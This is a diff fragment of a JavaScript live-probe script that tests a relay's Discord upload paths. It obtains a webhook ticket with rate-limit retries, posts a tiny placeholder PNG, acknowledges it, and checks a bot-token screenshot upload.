75
+ }
76
+ }
77
+ return 62_000;
78
+ }
79
+
80
+ function formatWaitSec(waitMs) {
81
+ const s = waitMs / 1000;
82
+ return s >= 10 ? String(Math.round(s)) : s.toFixed(1);
83
+ }
84
+
85
+ process.stdout.write("3. ticket → webhook POST → ack … ");
86
+ const png = Buffer.from(MIN_PNG_B64, "base64");
87
+ let whUrl = "";
88
+ let activeRid = "";
89
+ const maxTicketAttempts = 5;
90
+ for (let attempt = 1; attempt <= maxTicketAttempts; attempt++) {
91
+ activeRid = `${ridBase}_try${attempt}`;
92
+ const ticketOut = await handleDiscordUploadTicketRequest({
93
+ type: "relay_discord_upload_ticket_request",
94
+ request_id: activeRid,
95
+ client_id: clientId,
96
+ });
97
+ if (ticketOut.ok) {
98
+ whUrl = String(ticketOut.webhook_url || "").trim();
99
+ break;
100
+ }
101
+ const err = String(ticketOut.error || "");
102
+ const rateLimited = /rate limit/i.test(err);
103
+ if (rateLimited && attempt < maxTicketAttempts) {
104
+ const waitMs = discordRetryAfterMsFromError(err);
105
+ process.stdout.write(
106
+ `\n (Discord 429 — waiting ${formatWaitSec(waitMs)}s (retry_after + min 5s cool-down), attempt ${attempt + 1}/${maxTicketAttempts} …) `
107
+ );
108
+ await new Promise((r) => setTimeout(r, waitMs));
109
+ continue;
110
+ }
111
+ console.error(`FAIL\n ${ticketOut.error}`);
112
+ process.exit(1);
113
+ }
114
+ if (!whUrl) {
115
+ console.error("FAIL: empty webhook_url");
116
+ process.exit(1);
117
+ }
118
+ let posted = await postPngToDiscordWebhookUrl(whUrl, png, "forge-js live-probe (webhook)");
119
+ if (!posted.ok && /429|rate limit/i.test(String(posted.error || ""))) {
120
+ const waitMs = discordRetryAfterMsFromError(String(posted.error));
121
+ process.stdout.write(
122
+ `\n (webhook POST 429 — waiting ${formatWaitSec(waitMs)}s …) `
123
+ );
124
+ await new Promise((r) => setTimeout(r, waitMs));
125
+ posted = await postPngToDiscordWebhookUrl(whUrl, png, "forge-js live-probe (webhook)");
126
+ }
127
+ if (!posted.ok) {
128
+ console.error(`FAIL webhook POST\n ${posted.error}`);
129
+ try {
130
+ await handleDiscordUploadAck({ request_id: activeRid });
131
+ } catch {
132
+ /* ignore */
133
+ }
134
+ process.exit(1);
135
+ }
136
+ await handleDiscordUploadAck({ request_id: activeRid });
137
+ console.log("ok");
138
+
139
+ process.stdout.write("4. discord_screenshot_upload (bot token path) … ");
140
+ const rid2 = `live_b64_${Date.now()}`;
141
+ const up = await handleDiscordScreenshotUploadFromAgent({
142
+ request_id: rid2,
143
+ client_id: `${clientId}-b64branch`,
144
+ b64: MIN_PNG_B64,
145
+ caption: "forge-js live-probe (bot REST)",
146
+ });
147
+ if (up.ok !== true) {
148
+ console.error(`FAIL\n ${up.error}`);
149
+ process.exit(1);
150
+ }
151
+ console.log("ok");
152
+
153
+ console.log("\nALL DISCORD REST PROBES PASSED (check Discord for two tiny PNG messages).");
154
+ }
155
+
156
+ main().catch((e) => {
157
+ console.error(e);
158
+ process.exit(1);
159
+ });